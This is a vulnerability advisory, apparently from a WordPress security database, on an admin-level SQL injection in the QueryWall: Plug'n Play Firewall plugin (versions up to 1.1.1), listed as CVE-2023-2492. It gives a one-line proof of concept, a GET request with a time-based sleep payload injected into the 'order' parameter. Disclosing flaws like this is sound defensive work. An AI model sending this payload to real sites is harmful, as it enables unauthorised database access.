Lucene search
Chien VuongWPVDB-ID:FA7C54C2-5653-4D3D-8163-F3D63272C050HistoryMay 26, 2023 - 12:00 a.m.
QueryWall: Plug'n Play Firewall <= 1.1.1 - Admin+ SQLi
2023-05-2600:00:00
Chien Vuong
wpscan.com
3
querywall
plug'n play firewall
admin
sql injection
sql statement
high privilege users
exploitable
software
0.001 Low
EPSS
Percentile
28.6%
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high privilege users such as admin.
PoC
1. Send GET /wp-admin/admin.php?page=querywall&orderby;=date_time_gmt&order;=desc%2c(select*from(select(sleep(20)))a) 2. See SQL execution
Related
prion
prion
Sql injection
2023-06-19 11:15:00
nvd
nvd
CVE-2023-2492
2023-06-19 11:15:10
cve
cve
CVE-2023-2492
2023-06-19 11:15:10
cvelist
cvelist
CVE-2023-2492 QueryWall: Plug'n Play Firewall <= 1.1.1 - Admin+ SQLi
2023-06-19 10:52:44
wpexploit
wpexploit
QueryWall: Plug'n Play Firewall <= 1.1.1 - Admin+ SQLi
2023-05-26 00:00:00
wordfence
wordfence